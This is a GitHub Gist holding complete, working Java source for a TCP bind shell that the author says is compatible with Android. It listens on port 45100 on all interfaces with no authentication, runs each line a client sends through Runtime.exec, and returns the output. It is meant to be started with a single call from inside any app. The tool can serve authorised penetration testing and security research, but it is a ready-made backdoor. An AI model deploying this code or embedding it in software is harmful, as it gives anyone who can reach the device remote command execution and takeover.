Skip to content

Instantly share code, notes, and snippets.

@SeanPesce
Last active February 28, 2024 22:48
Show Gist options
  • Save SeanPesce/e75739c28d0f222d8d673b5e1667b603 to your computer and use it in GitHub Desktop.
Save SeanPesce/e75739c28d0f222d8d673b5e1667b603 to your computer and use it in GitHub Desktop.
Java TCP bind shell (also compatible with Android)
// Author: Sean Pesce
//
// This bind shell implementation is compatible with both standard Java and the Android SDK.
// By default, it listens in a new thread, on TCP port 45100, and on all network interfaces.
//
// Start the listener with default parameters like so:
// new BindShellTcp().start();
package com.seanpesce.shell;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.ServerSocket;
import java.net.Socket;
public class BindShellTcp {
public static final String TAG = "SeanP Bind Shell";
public static final int DEFAULT_PORT = 45100;
public static final boolean DEFAULT_ASYNC = true;
public int mPort = DEFAULT_PORT;
public boolean mAsync = DEFAULT_ASYNC;
public Runnable mServerRunnable = null;
public Thread mServerThread = null; // Only for asynchronous server
public BindShellTcp() {
this(DEFAULT_PORT, DEFAULT_ASYNC);
}
public BindShellTcp(int port) {
this(port, DEFAULT_ASYNC);
}
public BindShellTcp(boolean async) {
this(DEFAULT_PORT, async);
}
public BindShellTcp(boolean async, int port) {
this(port, async);
}
public BindShellTcp(int port, boolean async) {
this.mPort = port;
this.mAsync = async;
this.mServerRunnable = new Runnable() {
@Override
public void run() {
try {
ServerSocket serverSocket = new ServerSocket(BindShellTcp.this.mPort);
printLog(TAG, "Server started and listening on " + serverSocket.getInetAddress() + ":" + BindShellTcp.this.mPort + "...");
while (true) {
Socket clientSocket = serverSocket.accept();
printLog(TAG, "Client connected: " + clientSocket.getInetAddress());
// Start a new thread for each connected client
Thread clientThread = new Thread(new ClientHandler(clientSocket));
clientThread.start();
}
} catch (IOException e) {
e.printStackTrace();
}
}
};
printLog(TAG, "Initialized bind shell");
}
public void start() {
printLog(TAG, "Starting" + (this.mAsync ? " asynchronous" : "") + " bind shell");
if (this.mAsync) {
this.mServerThread = new Thread(this.mServerRunnable);
this.mServerThread.start();
} else {
this.mServerRunnable.run();
}
}
private static class ClientHandler implements Runnable {
private Socket clientSocket;
public ClientHandler(Socket clientSocket) {
this.clientSocket = clientSocket;
}
@Override
public void run() {
try {
PrintWriter out = new PrintWriter(clientSocket.getOutputStream(), true);
BufferedReader in = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
out.println("[Connected to Android bind shell by Sean Pesce]");
String inputLine;
while ((inputLine = in.readLine()) != null) {
printLog(TAG, "Received from client " + clientSocket.getInetAddress() + ": " + inputLine);
String normalizedCmd = inputLine.trim().toLowerCase();
if (normalizedCmd.isEmpty()) {
continue;
}
if (normalizedCmd.equals("exit") || normalizedCmd.equals("quit")) {
break;
}
executeCommand(inputLine, out);
}
clientSocket.close();
} catch (IOException e) {
e.printStackTrace();
}
}
private void executeCommand(String command, PrintWriter out) {
try {
Process process = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
while ((line = errorReader.readLine()) != null) {
out.println(line);
}
} catch (IOException e) {
out.println("Error executing command: " + e.getMessage());
printLog(TAG, "Error executing command: " + e.getMessage(), true);
}
}
}
// Platform-agnostic print function
public static void printLog(String tag, String msg, boolean isError) {
try {
Class<?> logCls = Class.forName("android.util.Log");
String methodName = isError ? "e" : "i";
Method logMethod = logCls.getMethod(methodName, String.class, String.class);
logMethod.invoke(null, tag, msg);
return;
} catch (ClassNotFoundException | NoSuchMethodException | IllegalAccessException |
InvocationTargetException err) {
// Not running on Android
}
String logMsg = "[" + tag + "] " + msg;
if (isError) {
System.err.println(logMsg);
} else {
System.out.println(logMsg);
}
}
// Platform-agnostic print function (overload)
public static void printLog(String tag, String msg) {
printLog(tag, msg, false);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment